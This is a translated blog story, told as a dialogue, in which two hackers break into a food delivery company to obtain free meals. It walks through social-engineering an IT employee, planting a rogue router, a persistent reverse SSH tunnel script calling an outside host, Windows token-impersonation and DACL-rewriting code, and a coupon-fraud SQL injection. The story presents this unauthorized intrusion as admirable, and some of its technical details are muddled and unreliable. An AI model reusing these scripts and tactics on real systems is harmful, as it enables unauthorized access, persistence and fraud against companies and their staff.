paint-brush
هل أنت جائع يا أخي؟ دعنا نجرب تطبيق توصيل الطعام المفضل لديكبواسطة@pepitoscrespo
764 قراءة٪ s
764 قراءة٪ s

هل أنت جائع يا أخي؟ دعنا نجرب تطبيق توصيل الطعام المفضل لديك

بواسطة pepitoscrespo14m2024/09/24
Read on Terminal Reader

طويل جدا؛ ليقرأ

انغمس في عالم القرصنة الأخلاقية مع بينيسيو وسيمبليسيوس أثناء استغلالهما للثغرات الأمنية في تطبيق توصيل الطعام الشهير. من الهندسة الاجتماعية إلى الذكاء الاصطناعي.
featured image - هل أنت جائع يا أخي؟ دعنا نجرب تطبيق توصيل الطعام المفضل لديك
pepitoscrespo HackerNoon profile picture
0-item
1-item


إن الطريقة التي ينظر بها الهاكر إلى العالم تختلف كل البعد عن الروتين اليومي الذي يعيشه العاملون في مجال التكنولوجيا في شركات التكنولوجيا. ففي حين يعتمد أغلب المحترفين على الوثائق الرسمية، وتوجيهات الرؤساء، وأفضل الممارسات المقبولة، لا يثق الهاكر إلا فيما يمكن لمسه واختباره وتمزيقه. وبالنسبة للهاكر، يأتي الفهم من خلال الهندسة العكسية ــ تمزيق الأنظمة لكشف كيفية عملها حقًا، ثم تجميعها معًا مرة أخرى، وإصلاح ما هو معطل أو استغلال نقاط الضعف.


لا يتعلق الأمر بكونك مجرمًا. إنه أنقى أشكال التعلم، وهي طريقة قديمة قدم الفضول البشري نفسه: تفكيك الجهاز وفهم أجزائه وإعادة بنائه. إنه تفكير تحليلي وتركيبي في أفضل حالاته. تأتي المهارة الحقيقية عندما يتمكن أحد القراصنة من استغلال الجهاز لأن هذا هو الدليل النهائي على أنه يعرف بالضبط كيفية عمل الجهاز - أفضل من أي شخص آخر.


تدور هذه القصة حول هذا الأمر بالضبط - كيف قام أحد كبار القراصنة (بينيسيو) من DeusExMachina وSimplicius (مبتدئ شجاع) بتحليل نظام معقد (تطبيق توصيل الطعام) بكل سرور وفي النهاية حصلوا على السيطرة الكاملة عليه.

إنها مغامرة لا تقتصر على الجانب الفكري والتقني فحسب، بل إنها تدور بشكل أساسي حول النضال من أجل تجاوز القيود البشرية، وحل اللغز المستحيل ليس فقط من خلال إجهاد أدمغتهم، ولكن من خلال اللعب بها، والأهم من ذلك التغذي عليها حرفيًا - وهي سمة يتشاركها المتسللون مع الأطفال.



إخلاء المسؤولية: تحتوي هذه القصة على مواد قرصنة حقيقية قابلة للتطبيق، ولكنها لأغراض تعليمية فقط. ولا تشجع على القرصنة غير القانونية.


بينيشيو (هاكر): سيمبليسيوس، أنت تبدو جائعًا. ما رأيك أن نطلب بعض الطعام... على نفقتنا الخاصة؟ لدي خطة لاختراق تطبيق توصيل الطعام المفضل لديك، باستخدام نظام الكوبونات الخاص به.


سيمبليسيوس (مبتدئ): ( يضحك ) أنت بالفعل تقوم بتحضير شيء ما، أليس كذلك؟ أخبرنا بكل شيء.


بينيشيو: ( يبتسم بسخرية ) أوه، لقد وضعت الأساس بالفعل. بالأمس، تحدثت مع جريج من فريق تكنولوجيا المعلومات الخاص بهم بلطف، وقمت ببعض الهندسة الاجتماعية الذكية، وقمت بربط جهاز التوجيه الخاص بي مباشرة بشبكتهم. الآن، لدينا خط مباشر إلى الواجهة الخلفية الخاصة بهم والوصول إلى نظام الكوبونات الثمين الخاص بهم. دعنا نتناول الطعام.

إعداد بنيسيو: ترسانة القراصنة

  • الكمبيوتر المحمول : الأداة الرئيسية لـ Benicio هي Dell XPS 13 (10th Gen Intel Core i7، 16GB RAM، 512GB SSD) يعمل بنظام Kali Linux - وهو مثالي لتنفيذ هجمات الهندسة الاجتماعية، واستغلال الأمان، وتنفيذ الأوامر عن بعد.
  • جهاز توجيه القراصنة : تم تثبيته في شبكة الشركة، وتشغيل إصدار مخصص من OpenWRT ، مع نفق SSH ، وانتحال عنوان MAC ، والتحول إلى VPN لتجنب الاكتشاف. هذا الجهاز الصغير ولكن القوي مزود بمعالج Qualcomm IPQ4019 وذاكرة وصول عشوائي بسعة 256 ميجابايت ، مما يضمن التخفي والكفاءة.
  • نظام التشغيل : OpenWRT ، الذي يوفر التحكم الكامل في وظائف الشبكات والقدرة على تجاوز جدران الحماية.
  • الكمبيوتر المحمول الثانوي : للتحكم الآمن في الشبكة المخترقة، يستخدم Benicio جهاز HP Spectre x360 يعمل بنظام التشغيل Ubuntu 22.04 مع Wireshark و Metasploit لمراقبة حركة المرور وتحليل الاستغلال.

المرحلة 1: إعداد الهندسة الاجتماعية — عمل الأمس

بينيشيو: بدأ الأمر كله مع جريج. اتصلت به متظاهرًا بأنني من "فريق التدقيق التابع لجهة خارجية"، وقام جريج ـ وهو شخص لطيف ـ بكشف كل شيء عن إعدادات الشبكة. وقبل أن يدرك ذلك، كنت في غرفة الخادم الخاصة بهم "أتحقق من الثغرات الأمنية" وأقوم بتثبيت جهاز التوجيه OpenWRT المخصص لي. والآن يتسلل هذا الجهاز عبر جدار الحماية الخاص بهم دون أن يتم اكتشافه.


سيمبليسيوس: لقد أقنعت جريج بإعطائك خريطة شبكة والسماح لك بتثبيت جهاز توجيه غير قانوني؟ الأمر سلس.


بينيسيو: (يبتسم) أصبح جهاز التوجيه هذا الآن مزودًا بنفق SSH عكسي يعمل، مما يمنحنا إمكانية الوصول عن بُعد في أي وقت نريده. إليك البرنامج النصي الذي استخدمته:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

المرحلة 2: تجاوز جدار الحماية — جهاز التوجيه القراصنة في العمل

سيمبليشيوس: إذًا، لقد تجاوزت الآن جدار الحماية الخاص بهم باستخدام هذا الجهاز الماكر. ما الخطوة التالية؟


بينيشيو: مع الوصول الداخلي الكامل، حان الوقت لاختطاف رمز ذي امتيازات عالية. لقد وجدت عملية تعمل كمسؤول، واستخدمت واجهة برمجة التطبيقات DuplicateTokenEx() لاستنساخ هذا الرمز، ثم انتحلت شخصية المسؤول باستخدام ImpersonateLoggedOnUser() . يعتقد النظام أنني مجرد مستخدم عادي، ولكن خلف الكواليس، أنا الشخص الذي يحمل جميع المفاتيح.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

المرحلة الثالثة: جريج ينقذ الموقف مرة أخرى

بينيسيو: ولكن لكي أتمكن من تحقيق ذلك، كنت بحاجة إلى معرفة كيفية إعداد أوصاف الأمان الخاصة بهم. لذا اتصلت بـ Greg مرة أخرى، وقلت له إنني أحتاجه للتحقق من بعض إعدادات DACL و SACL من أجل التدقيق. وقد استجاب بكل سرور.


سيمبليسيوس: (يضحك) الهندسة الاجتماعية في أفضل حالاتها.

المرحلة 4: تغيير الوصف الأمني — الاختراق غير المرئي

بينيسيو: حسنًا، بمساعدة جريج، قمت باستخراج سلسلة SDDL ( لغة تعريف واصف الأمان ) لواصف الأمان الخاص بالهدف، مما سمح لي بتحليل وإعادة كتابة قائمة التحكم في الوصول التقديرية (DACL). لقد قمت بتعديل قائمة التحكم في الوصول التقديرية (DACL) لمنح نفسي حق الوصول الكامل مع استخدام علامات وراثة ذكية لضمان عدم تسبب التغييرات في إثارة أي تنبيهات أو إثارة الشكوك. لم يرمش النظام حتى!!


بمجرد وضع قائمة التحكم في الوصول الجديدة في مكانها، قمت بتطبيق التغييرات مرة أخرى على النظام. والجميل في الأمر أنه من منظور النظام، لم يظهر أي شيء خارج عن المألوف . لقد ضمنت علامات الوراثة أن تظل تعديلاتي مخفية تحت قواعد الوصول الحالية، ولكن الآن أصبحت لدي السيطرة الكاملة


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


المرحلة 5: تجاوز فحص الوصول — اللعبة مستمرة

يوضح الشكل كيف يقارن Windows بين رمز الوصول (SIDs) وواصف الأمان (DACLs) الخاص بالمورد في عملية التحقق من الوصول لمنح الوصول أو رفضه. يتلاعب Benicio بهذه العناصر لتجاوز عمليات التحقق من الأمان.


سيمبليسيوس: إذن أنت موجود، ولديك السيطرة. كيف تغلبت على فحص الدخول؟


بينيسيو: (يتكئ إلى الخلف بثقة، مشيرًا إلى الرسم البياني أعلاه) يعمل النظام عبر ثلاث طبقات: النزاهة، والتحقق القائم على الرمز، والتحقق التقديري . عادةً، هذا هو المكان الذي يصل فيه معظم الأشخاص إلى طريق مسدود، ولكن هنا يأتي السحر. لقد حصلت على رمز مسؤول من عملية مميزة، واستخدمت ImpersonateToken() لجعل النظام يعتقد أنني الرئيس الكبير. بعد ذلك، أعدت توصيل قوائم التحكم في الوصول إلى البيانات (DACL) لمنح نفسي إمكانية الوصول الكامل. لقد بسط النظام للتو السجادة الحمراء.


دعني أوضح لك الأمر. إن رمز الوصول — الذي يحمل معرفات الأمان والامتيازات — يشبه جواز سفري. فمن خلال انتحال رمز المسؤول ، لم أكن بحاجة إلى تعديل معرفات الأمان الأصلية الخاصة بي. كان النظام لا يزال يعتقد أنني مستخدم ذو امتيازات منخفضة، ولكن خلف الكواليس، كنت أمتلك مفاتيح المملكة. وقد ساعدني ذلك على تجاوز الفحص القائم على الرمز .


بعد ذلك، قمت بمعالجة واصف الأمان (DACL) . هل تتذكر SDDL الذي قمت باستخراجه في وقت سابق؟ لقد قمت بتعديل DACL لأمنح نفسي التحكم الكامل في الكائن، ولكنني قمت بإخفاء التغييرات بذكاء باستخدام علامات الوراثة ، مع التأكد من عدم وضع علامة على أي شيء مشبوه. لم يرمش النظام حتى، ولكن الآن أصبحت لدي سيطرة كاملة. لقد ساعدني ذلك على تجاوز الفحص التقديري .


سيمبليسيوس: نعم، حارسنا الودود، عملية التحقق من الوصول...


بينيسيو: نعم، الأمر أشبه بحارس أمن في نادٍ . إذا كنت تحمل بطاقة الهوية الصحيحة ( SIDs ) وتعرف مالك النادي ( DACL )، فأنت داخل. لقد تأكدت من أنني أمتلك كليهما - بطاقة الهوية الصحيحة وإذن المالك - لذلك لم يسمح لي الحارس بالدخول فحسب، بل سلمني أيضًا تصريح VIP.


وبعد كل هذا؟ إما أن يقول النظام " تم منح الوصول" أو " تم رفض الوصول" . وبفضل كل التحركات التي قمنا بها، فقد خمنت ذلك - تم منح الوصول . لقد دخلنا، يا سيمبليشيوس، ولم يلاحظ النظام ذلك حتى.

المرحلة 6: طلب العشاء — حقنة SQL واحدة

بينيسيو : الآن، الجزء الممتع. لم أسلك الطريق السهل باستخدام شرط UNION البسيط. فالتطبيق أذكى من أن يستخدم هذا الشرط - فهم يستخدمون عبارات معدة مسبقًا . ولكن كما تعلم، فإن الأمان لا يتحدد إلا بقوة أضعف رابط، وقد وجدت حلاً في كيفية تعاملهم مع بيانات الملف الشخصي المخزنة .


سيمبليسيوس : حسنًا، أنا مهتم. كيف تمكنت من خداع النظام لقبول قسيمة مزيفة مع الاحتفاظ بالقسيمة الصالحة دون المساس بها؟


بينيشيو : ( يميل إلى الأمام ) إليك الحيلة الحقيقية. يقوم التطبيق بتشغيل استعلام للتحقق من صحة القسيمة، لكنه يسحب بعض البيانات من ملف تعريف المستخدم الخاص بك. الآن، يقومون بتطهير الإدخال عندما تقوم بإنشاء ملف التعريف الخاص بك لأول مرة، لكنهم لا يعيدون تطهيره أثناء تحديثات الملف التعريفي. لذلك، قمت بحقن حمولة في حقل عنوان ملف التعريف الخاص بي، والذي ظل هناك دون أن يلاحظه أحد حتى قام التطبيق بسحبه إلى استعلام مستقبلي. في ذلك الوقت، بدأت عملية حقن SQL من الدرجة الثانية . لم يكتشفها النظام لأن الحقن تم تخزينه بالفعل، في انتظار اللحظة المناسبة.


بدلاً من مهاجمة عملية التحقق من صحة القسيمة بشكل مباشر، كما قلت، يا Simplicius، قمت بزرع حمولتي في حقل الملف الشخصي، في انتظار استخدامها في استعلام منفصل. فيما يلي الشكل الذي قد تبدو عليه عملية التحقق من صحة القسيمة الأصلية:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


في العادة، لن يُرجع هذا الاستعلام أي شيء لأن القسيمة المزيفة غير موجودة. لكن الحمولة التي تم حقنها غيرت منطق الاستعلام. لم يكن النظام يتوقع الحقن لأنه تم تخزينه بالفعل في قاعدة البيانات وينتظر اللحظة المناسبة. تم التلاعب بالاستعلام ليصبح على هذا النحو:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

من خلال استغلال التفاعل بين بيانات الملف الشخصي والاستعلام ، خدعت النظام لسحب القسائم المزيفة والصالحة في نفس الوقت. يعالج التطبيق القسيمة المزيفة للمعاملة، لكن القسيمة الصالحة تظل سليمة في النظام دون مساس بها. وهذا يعني أنه يمكنني إعادة استخدام القسيمة الصالحة متى شئت.


Simplicius : إذن، لم تلجأ إلى خدعة الإدخال الكلاسيكية - لقد زرعت الحمولة في ملفك الشخصي وتركت النظام يقوم بالعمل القذر؟


بينيسيو : بالضبط. والجميل في الأمر أن التطبيق يعالج القسيمة المزيفة للمعاملة، ولكن في الخلفية، تظل القسيمة الصالحة متاحة للاستخدام في المستقبل. وتظل الحمولة المخزنة تعمل في الاستعلامات المستقبلية، مما يجعلها مصدرًا لا نهاية له من الطعام المجاني ، ولا يدركون ذلك.


وبهذا، حصلت على قسيمة بقيمة الذهب. فلنطلبها.

المرحلة 7: العيد – تم تقديمه

بينيشيو: (يتصفح التطبيق) حسنًا، سيمبليسيوس، ماذا عن بعض الطعام اليوناني؟ أفكر في السوفلاكي والجيروس والسبانخ. كل هذا على حسابنا بالطبع.


سيمبليسيوس: (مبتسمًا) لقد تفوقت على نفسك حقًا هذه المرة.


بينيشيو: (ينقر للتأكيد) تم. الطعام في طريقه إلينا.

الخاتمة: حركة القبعة البيضاء

بينيسيو: بعد ذلك، سأرسل لهم تقريرًا سريًا يشرح نقاط الضعف لديهم. ليس لديهم أي فكرة عن مدى سوء إعداد نظام رموز الأمان الخاص بنظام Windows. ربما يتعلمون شيئًا قبل أن يأتي المخترق التالي.

إليكم وصفة بينيشيو لهذه الخدعة:

  • Pirate Router : تجاوز جدران الحماية باستخدام جهاز مخصص يعمل بنظام OpenWRT ونفق SSH.
  • التلاعب بالرموز : استخدم DuplicateTokenEx() و ImpersonateToken() لرفع الامتيازات دون إثارة الإنذارات.
  • الهندسة الاجتماعية : في بعض الأحيان كل ما يتطلبه الأمر هو طرح السؤال الصحيح على الشخص المناسب.
  • ثغرات الوصف الأمني : إعادة كتابة قوائم التحكم في الوصول إلى البيانات (DACL) تسمح لك بتجاوز عناصر التحكم في النظام.
  • حقن SQL : تغيير منطق الاستعلام للتلاعب بالبيانات وإنشاء نتائج مزيفة ولكنها صالحة.


سيمبليسيوس: (يميل إلى الخلف) لقد أعددت لنا عشاءً ولم تترك لهم أي فكرة. بالمناسبة، سأختار السوفلاكي.


بينيسيو: (يبتسم) استمتع بها بينما تستمر.